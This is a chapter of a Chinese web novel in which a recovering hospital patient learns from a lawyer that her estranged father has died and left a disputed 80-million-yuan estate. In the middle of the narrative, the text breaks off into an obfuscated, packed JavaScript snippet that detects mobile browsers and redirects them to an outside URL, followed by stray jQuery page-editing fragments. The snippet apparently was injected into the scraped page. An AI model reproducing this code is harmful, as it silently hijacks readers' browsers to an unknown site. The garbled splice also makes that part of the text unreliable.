12. 遗产

作品:《我的半糖仇人

    第⑩②章


    住院的第七天,姜瑶终于被允许在搀扶下,慢腾腾地在病房里下床走路。


    每挪一步,左胸空荡处都传来沉闷的坠痛和缝合线牵拉的酸涩感,额头上很快沁出冷汗。


    她正龇牙咧嘴地跟床边无辜的椅子较劲,想不靠着小醋的搀扶自己完成转身这个高难度的动作时,门口传来两声清晰的敲门声。


    姜瑶和小醋同时转头。


    门口站着一个男人,约莫四十多岁,穿着熨帖的深色西装,白衬衫扣到最上面一颗,系着条颜色保守的领带。


    手里拎着个看起来价格不菲的黑色公文包,头发梳理得一丝不苟,脸上架着一副金丝边眼镜,镜片后的目光,正透过敞开的门看着她。


    这形象,像是从某个律政剧片场走出来的。


    “姜瑶小姐?”西装男开口,南方口音。


    姜瑶扶着椅背,喘了口气,警惕地打量他:“我是,你哪位啊?卖保险?还是卖墓地?我现在对这两样都挺敏感,你最好直接说。”


    西装男对她的反应不为所动:“抱歉在这个时间打扰,我姓陈,陈恪,是你父亲,姜建国先生的代理律师。”


    “我父亲?”姜瑶重复一遍,对这个词有点陌生,她眨眨眼,然后冷笑,“你说的是那个……跟我妈离婚后,就人间蒸发,死了十几年的爹?”


    陈律师的眉头蹙了一下:“姜建国先生于上周四凌晨,因突发性心肌梗塞,抢救无效去世。”


    姜瑶整个人愣在原地,感觉腿上突然没了知觉,靠着小醋的搀扶才算勉强站住。


    窗外的阳光依旧明媚,走廊里依稀传来护士推着治疗车走过的轱辘声。


    一切都和上一秒没什么不同。


    姜瑶手指成拳,指尖深深地扎进皮肉里,脸上带刺的表情慢慢褪去。


    她花了很久才消化这个信息,那个存在于遥远记忆里的男人,真的死了?


    不是比喻,不是咒骂,是物理意义上的,消失了。


    “哦。”她淡淡地应了一声,然后慢慢地借着小醋的支撑,一点点坐回床沿。


    伤口被牵动,疼得她吸了口气,但此刻的疼痛反而让她更清醒。


    “所以?”她抬起头,看向陈律师,眼神里没有悲伤,“陈律师大驾光临,总不会是专门来给我报丧的吧?”


    陈恪并不打算深入探讨这对父女之间的情感纠葛,他走进病房,从公文包里取出一份文件。


    “根据《民法典》相关规定,以及姜建国先生生前未订立有效遗嘱的事实,您作为他唯一婚生子女,是第一顺序法定继承人,享有对其遗产的继承权。”


    “遗产?”姜瑶这下是真的有点傻了。


    在她印象中早就穷困潦倒,甚至连抚养费都给不起的男人,居然还有遗产需要继承?


    “是的,”陈恪推推眼镜,“我此次前来,是代表遗产临时管理人,就遗产范围,初步估值以及后续继承程序,与您进行初步沟通。”


    沟通的地点从床边转移到房间里唯一一张小桌子旁。


    陈律师一页一页地铺开文件,小醋给姜瑶背后垫好枕头,又倒了杯温水放在她手边,担忧地看了她一眼,无声地退到窗边,尽量降低自己的存在感。


    姜瑶半靠在床头,看着陈律师拿出一份清单,继续念:“姜建国先生名下主要资产包括,位于B市滨江区秋枫苑住宅一套,建筑面积二百一十五平方米;位于新城CBD环球金融中心写字楼,产权面积一百八十平方米;位于西山云栖度假村别墅一栋,带私家园林……”


    他每念一项,姜瑶的眉毛就抬高一分。


    滨江豪宅?CBD写字楼?度假别墅?


    这听起来像是财经新闻里的人物,跟她记忆里那个最后留下一个仓皇背影的父亲,完全无法重叠。


    “此外,还有其持有的建辉科技公司百分之三十的股权,瀚海投资基金份额,以及多家银行的存款、理财产品、汽车、字画……”


    “停。”姜瑶终于听不下去了,做了个打断的手势。


    伤口因为动作又传来一阵闷痛,她皱皱眉,直接看向陈律师,问出最核心,也是最俗气的问题:“陈律师,咱们省去这些名词解释,你就直接告诉我,这些……东西,加起来,大概值多少钱?”


    陈恪停下,从文件上抬起目光,看向姜瑶,镜片后的眼神更加审慎。


    他合上文件夹,双手交叠放在桌面上:“根据目前的初步评估和市值估算,姜建国先生的遗产总值,不低于八千万人民币。”


    “……”


    病房里再次陷入一片奇异的寂静。


    窗外的车流声、人声、甚至空调送风的嗡嗡声,都好像瞬间被调低了音量。


    姜瑶能清晰地听到自己的心脏在胸腔里跳动的声音,咚,咚,咚,缓慢而沉重。


    八千万,人民币。


    这个数字过于庞大,以至于失去了真实感。


    它不是一笔钱,更像是一个抽象的概念,一个从天而降,金光闪闪的巴掌,扇在她的脸上。


    姜瑶缓慢地眨眨眼,视线从陈律师面无表情的脸上移开,落到自己浮肿的手背上。


    她开口问道,“我爸他……”她顿了顿,想找一个合适的措辞,“……是抢了银行,还是绑架了富豪?”


    陈恪的嘴角抽动了一下,但很快恢复了专业面具:“姜建国先生自与您母亲离异后,投身科技行业,创办建辉科技,赶上行业风口,又经营有方,积累的财富来源合法。”


    经营有方,合法。


    这几个字刺得姜瑶皱了一下眉。


    所以,在她和母亲挣扎于病痛与贫困的时候,在她为了社区微薄薪水东奔西跑的时候,那个男人在另一个世界里,春风得意,意气风发,积累着以千万计的财富。


    真是够......恶心的啊。


    没有愤怒,没有激动,只是觉得无以复加的恶心。


    这笔巨额遗产,非但没有带来任何喜悦或安慰,反而像一面镜子,照出她过去十几年人生的荒诞底色。


    “但是,”陈律师话锋一转,“遗产继承并非没有争议。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216565|197445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姜瑶抬眼看他。


    “姜建国先生的现任女友孙青茹女士,以及他们未成年的儿子姜烁,主张对遗产的合法权利。”


    “孙女士提供了部分证据,声称姜建国先生生前曾有过口头遗嘱意愿,并有部分资产属于二人共同持有。”


    “目前,遗产已经进入临时冻结状态,如果您要主张您的法定继承权,很可能需要通过诉讼程序来解决。”


    姜瑶安静地听着,脸上没什么表情,她甚至轻轻扯了扯嘴角,像是在笑,又不像。


    “懂了,”她点点头,“意思就是,天上确实掉了馅饼,但掉进了土匪窝,想吃,得先抄家伙,打一架。”


    陈恪笑着点点头,同意她这种粗暴的比喻:“法律会保障每一位合法继承人的权益。”


    姜瑶没再接这个话题。


    她重新慢慢滑躺回枕头里,闭上眼睛,刚才关于巨额财富和家庭官司的对话已经耗尽了她所有的力气。


    过了好一会儿,她才又开口,问了一个非常实际的问题:“陈律师,如果我要打这场官司……律师费,是你出,还是我得先自己掏腰包?”


    陈恪没想到她会先问这个,顿了一下才回答:“我的委托费用,以及后续可能产生的诉讼费,评估费等,原则上可以从最终分配到的遗产份额中优先扣除。当然,这需要您正式签署委托协议。”


    “哦,从遗产里扣,”姜瑶喃喃重复了一遍,眼睛依旧闭着,“那还好,反正也是白来的。”


    她不再说话,像是睡着了。


    陈恪等了一会儿,见她没有继续交谈的意思,便站起身,留下一张自己的名片和一份简单的遗产情况说明文件,低声对窗边的小醋说了句“姜小姐需要时可以联系我”,便礼貌地告辞离开。


    小醋走到床边,看着姜瑶苍白的脸和紧闭的眼睛,欲言又止。


    “小醋,”姜瑶忽然开口,眼睛没睁开,“把我那个记账的小本本拿来。”


    小醋赶紧从床头柜抽屉里找出黑色软皮本和笔,递给她。


    姜瑶费力地撑起一点身子,靠在枕头上,翻开本子新的一页。


    她握着笔,手有些抖,但字迹一笔一划,写得很慢,很重。


    今天,得知姜建国死讯,还有估值八千万的遗产。


    附赠:现任女友一名,幼弟一个,遗产官司一场。


    备注:人生,是真的……幽默啊。


    写完,她盯着纸看了很久,然后“啪”地一声合上本子,塞回枕头底下。


    她重新躺好,拉起被子,盖过肩膀,侧过头,面向墙壁。


    窗外,夕阳正在沉落,将天空染成一片恢弘而寂寥的金红色。


    而病房里的女孩,在经历了病魔的切割之后,又迎面撞上一笔来自逝去亲人的巨额“馈赠”,以及随之而来,更为复杂纠葛的人情与利益之战。


    胸口空荡处的疼痛依旧清晰。


    但此刻里面充斥的,已不仅仅是生理的缺失。


    还有一种更为庞大,更为迷茫,关于命运,亲情与怨恨的……无声轰鸣。